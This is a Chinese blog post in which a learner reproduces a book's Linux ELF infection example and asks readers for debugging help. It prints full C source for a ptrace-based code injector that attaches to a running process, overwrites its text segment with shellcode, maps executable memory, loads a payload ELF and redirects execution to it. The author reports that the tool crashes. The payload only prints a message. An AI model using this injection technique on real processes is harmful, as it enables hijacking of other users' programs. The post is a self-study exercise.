书中第三章最后讲了一个例子,十分遗憾,我暂时还没能调出最后结果。已经花费了很长时间,我觉得暂停是一个比较好的选择。如果我对系统执行elf文件的流程很了解的话,自然能够定位到原因。现在还不是时候,也许等后面再看一看书就知道这里的问题在哪里了。
这个例子书中有更多的错误,尽力改了几个,但还是运行异常。我把整个进展情况和代码贴出来,其中能注释的地方我尽量添加注释,方便读者帮忙分析。如果你知道问题所在,非常希望你能留言,提出宝贵意见,帮助我调通这个工具。
这个例子包含3个.c文件,生成3个elf文件。3个.c文件是,code_inject.c、payload.c和host.c。生成的可执行程序就是文件名,随你自己定,我就按文件名了。它们3个都是干什么的呢?其中code_inject是具有代码注入功能的工具,host是被感染的文件,payload是病毒文件。运行起来host,然后用code_inject工具就可以把payload注入到host中,执行完payload代码之后,host继续执行。
下面的代码是host.c的程序,书中没有给出实现,只能知道里面又一个打字,并且执行完还不会马上退出。所以我这么写的,打印一下,然后sleep一会。
#include <stdio.h>
#include <unistd.h>
int main(void){
printf("I am but a simple program, please don't infect me.\n");
sleep(60);
return 0;
}
下面的代码是payload.c,这里面的说法就比较多了。这里不做详细说明,关于其中的汇编和main函数请点击此链接 payload.c详细说明——linux c编程内嵌汇编和_start启动
//To compile: gcc -fpic -pie -nostdlib payload.c -o payload
#include <stdio.h>
#include <asm/unistd_64.h>
long _write(long fd, char *buf, unsigned long len){
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $1, %%rax\n"
"syscall" : : "g"(fd), "g"(buf), "g"(len));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
void Exit(long status){
__asm__ volatile("mov %0, %%rdi\n"
"mov $60, %%rax\n"
"syscall" : : "r"(status));
}
int _start(){
_write(1, "I am payload who has hijacked your process!\n", 48);
// _write(1, "123456\n", 8);
Exit(0);
}
下面的代码就是核心了——感染工具的代码。我通过注释和代码后面的说明来解释。
//To compile: gcc code_inject.c -o code_inject
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>
#include <sys/wait.h>//The sample of the book don't include this lib, it's wrong.
#include <alloca.h>
#define PAGE_ALIGN(x) (x & ~(PAGE_SIZE 1))
#define PAGE_ALIGN_UP(X) (PAGE_ALIGN(X) + PAGE_SIZE)
#define WORD_ALIGN(X) ((X + 7) & ~7)
#define BASE_ADDRESS 0x00100000
typedef struct handle{
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
Elf64_Shdr *shdr;
uint8_t *mem;
pid_t pid;
uint8_t *shellcode;
char *exec_path;
uint64_t base;
uint64_t stack;
uint64_t entry;
struct user_regs_struct pt_reg;
}handle_t;
static inline volatile void * evil_mmap(void *, uint64_t, uint64_t, uint64_t, int64_t, uint64_t)__attribute__((aligned(8),__always_inline__));
uint64_t injection_code(void *)__attribute__((aligned(8)));
uint64_t get_text_base(pid_t);
int pid_write(int, void *, const void *, size_t);
uint8_t *create_fn_shellcode(void (*fn)(), size_t len);
void *f1 = injection_code;
void *f2 = get_text_base;
static inline volatile long evil_write(long fd, char *buf, unsigned long len){
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $1, %%rax\n"
"syscall" : : "g"(fd), "g"(buf), "g"(len));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
static inline volatile int evil_fstat(long fd, struct stat *buf){
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $5, %%rax\n"
"syscall" : : "g"(fd), "g"(buf));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
static inline volatile int evil_open(const char *path, unsigned long flags){
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $2, %%rax\n"
"syscall" : : "g"(path), "g"(flags));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
static inline volatile void * evil_mmap(void *addr, uint64_t len,
uint64_t prot, uint64_t flags, int64_t fd, uint64_t off){
long mmap_fd = fd;
unsigned long mmap_off = off;
unsigned long mmap_flags = flags;
unsigned long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $2, %%rdx\n"
"mov %3, %%r10\n"
"mov %4, %%r8\n"
"mov %5, %%r9\n"
"mov $9, %%rax\n"
"syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off));
asm("mov %%rax, %0" : "=r"(ret));
return (void *)ret;
}
uint64_t injection_code(void * vaddr){
volatile void *mem;
mem = evil_mmap(vaddr, 8192,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, 1, 0);
__asm__ __volatile__("int3");//int3是断点的意思
}
#define MAX_PATH 512
uint64_t get_text_base(pid_t pid){
char maps[MAX_PATH], line[256];
char *start, *p;
FILE *fd = NULL;
int i;
Elf64_Addr base;
snprintf(maps, MAX_PATH - 1, "/proc/%d/maps", pid);
if((fd = fopen(maps, "r")) == NULL){
fprintf(stderr, "Cannot open %s for reading: %s\n", maps, strerror(errno));
return 1;
}
while(fgets(line, sizeof(line), fd)){
if(!strstr(line, "r-xp"))//my system, type is rwxp. XBter
continue;
for(i = 0, start = alloca(32), p = line; *p != ' '; i++, p++)
start[i] = *p;
start[i] = '\0';
base = strtoul(start, NULL, 16);
break;
}
fclose(fd);
return base;
}
uint8_t * create_fn_shellcode(void (*fn)(), size_t len){
size_t i;
uint8_t *shellcode = (uint8_t *)malloc(len);
printf("%s %d shellcode=%p\n",__FUNCTION__,__LINE__,shellcode);
uint8_t *p = (uint8_t *)fn;
for(i = 0; i < len; i++)
*(shellcode + i) = *p++;
return shellcode;
}
int pid_read(int pid, void *dst, const void *src, size_t len){
int sz = len / sizeof(void *);
unsigned char *s = (unsigned char *)src;
unsigned char *d = (unsigned char *)dst;
long word;
errno = 0;
while(sz != 0){
word = ptrace(PTRACE_PEEKTEXT, pid, s, NULL);
if(word == 1 && errno){
fprintf(stderr, "pid_read failed, pid: %d: %s\n", pid, strerror(errno));
goto fail;
}
*(long*)d = word;
s += sizeof(long);
d += sizeof(long);
sz--;//Source code don't have this line. It's wrong! XBter
}
return 0;
fail:
perror("PTRACE_PEEKTEXT");
return 1;
}
int pid_write(int pid, void * dest, const void *src, size_t len){
size_t quot = len / sizeof(void *);
unsigned char *s = (unsigned char *)src;
unsigned char *d = (unsigned char *)dest;
while(quot != 0){
printf("%s %d s=%p d=%p quot=%ld\n",__FUNCTION__,__LINE__,s,d,quot);
if(ptrace(PTRACE_POKETEXT, pid, d, *(void **)s) == 1)
goto out_error;
s += sizeof(void *);
d += sizeof(void *);
quot--;
}
return 0;
out_error:
perror("PTRACE_POKETEXT");
return 1;
}
int main(int argc, char **argv){
handle_t h;
unsigned long shellcode_size = f2 - f1; //??????????????????
int i, fd, status;
uint8_t *executable, *origcode;
struct stat st;
Elf64_Ehdr *ehdr;
if(argc < 3){
printf("Usage: %s <program> <function>\n", argv[0]);
exit(1);
}
h.pid = atoi(argv[1]);
h.exec_path = strdup(argv[2]);
if(ptrace(PTRACE_ATTACH, h.pid) < 0){
perror("PTRACE_ATTACH");
exit(1);
}
wait(NULL);
h.base = get_text_base(h.pid);
shellcode_size += 8;
h.shellcode = create_fn_shellcode((void*)&injection_code, shellcode_size);
printf("%d h.shellcode=%p\n",__LINE__,h.shellcode);
origcode = alloca(shellcode_size);
if(pid_read(h.pid, (void*)origcode, (void*)h.base, shellcode_size) < 0)
exit(1);
if(pid_write(h.pid, (void*)h.base, (void*)h.shellcode, shellcode_size) < 0)
exit(1);
if(ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0){
perror("PTRACE_GETREGS");
exit(1);
}
h.pt_reg.rip = h.base;//rip:指令指针寄存器是存放下次将要执行的指令在代码段的偏移量。
h.pt_reg.rdi = BASE_ADDRESS;//rdi:变址寄存器主要用于存放存储单元在段内的偏移量.
if(ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0){
perror("PTRACE_SETREGS");
exit(1);
}
if(ptrace(PTRACE_CONT, h.pid, NULL, NULL) < 0){
perror("PTRACE_CONT");
exit(1);
}
wait(&status);
if(WSTOPSIG(status) != SIGTRAP){
printf("Something went wrong WSTOPSIG(status)=%d\n", WSTOPSIG(status));
exit(1);
}
if(pid_write(h.pid, (void*)h.base, (void*)origcode, shellcode_size) < 0)
exit(1);
if((fd = open(h.exec_path, O_RDONLY)) < 0){
perror("open");
exit(1);
}
if(fstat(fd, &st) < 0){
perror("fstat");
exit(1);
}
executable = malloc(WORD_ALIGN(st.st_size));
if(read(fd, executable, st.st_size) < 0){
perror("read");
exit(1);
}
ehdr = (Elf64_Ehdr*)executable;
h.entry = ehdr->e_entry;
close(fd);
if(pid_write(h.pid, (void*)BASE_ADDRESS, (void*)executable, st.st_size) < 0)
exit(1);
if(ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0){
perror("PTRACE_GETREGS");
exit(1);
}
h.entry = BASE_ADDRESS + h.entry;
h.pt_reg.rip = h.entry;
if(ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0){
perror("PTRACE_SETREGS");
exit(1);
}
if(ptrace(PTRACE_DETACH, h.pid, NULL, NULL) < 0){
perror("PTRACE_DETACH");
exit(1);
}
wait(NULL);
exit(0);
}
我先说一下这个例子的执行过程,先在一个终端上后台执行host,./host &,再在另外一个终端上执行注入操作:./code_inject `pidof host` payload。
大概解释一下main函数的逻辑。
200行PTRACE_ATTACH,钩住执行的host程序,这是宿主,待会要感染它。先把位置占上,这样宿主只属于我自己,别人休想入侵。
206行的get_text_base是获取host的maps信息,把其中的代码段其实地址找到,赋值给h.base。
第207行这个+8就不是特别的懂了,我只知道这和程序实际执行pc指针的偏移有关,8是因为我这个是64位系统。我猜是因为想要完整的拷贝病毒需要字节对齐,因为injection_code的长度不是8的整数倍,在后面拷贝的时候如果不加这个8,就会有少拷贝的内容,运行会异常的。
209行调用create_fn_shellcode是拷贝病毒的意思,把病毒injection_code代码拷贝到一块开辟的内存中,地址返回给h.shellcode,后面注入的时候需要用到。
211行这个alloca()接口就不详细说了,和汇编一样我是第一次见到,很神奇,在函数栈中开辟空间,函数退出自动free。但是网上不大提倡使用。直观上逼格很高的骚操作。
212行pid_read是从host的代码段读出injection_code那么长的数据保存起来,留着感染执行完成后恢复原来的程序使用,还原,毁尸灭迹。
215行pie_write是把injection_code这个病毒注入到正在执行的host代码中。
223到228行是调整host进程现在的寄存器的值,让他跳转到开始,好去执行咱们刚注入的代码。
230行的continue不用说。
236行的断点判断也不用说太多。这个断点的设置不是用的0xcc,而是使用的int3,效果应该一样的。
241行把host程序还原。
。。。。。。
就到这吧,在第236行的时候报错了,信号11段错误。。。没有正常断点。。。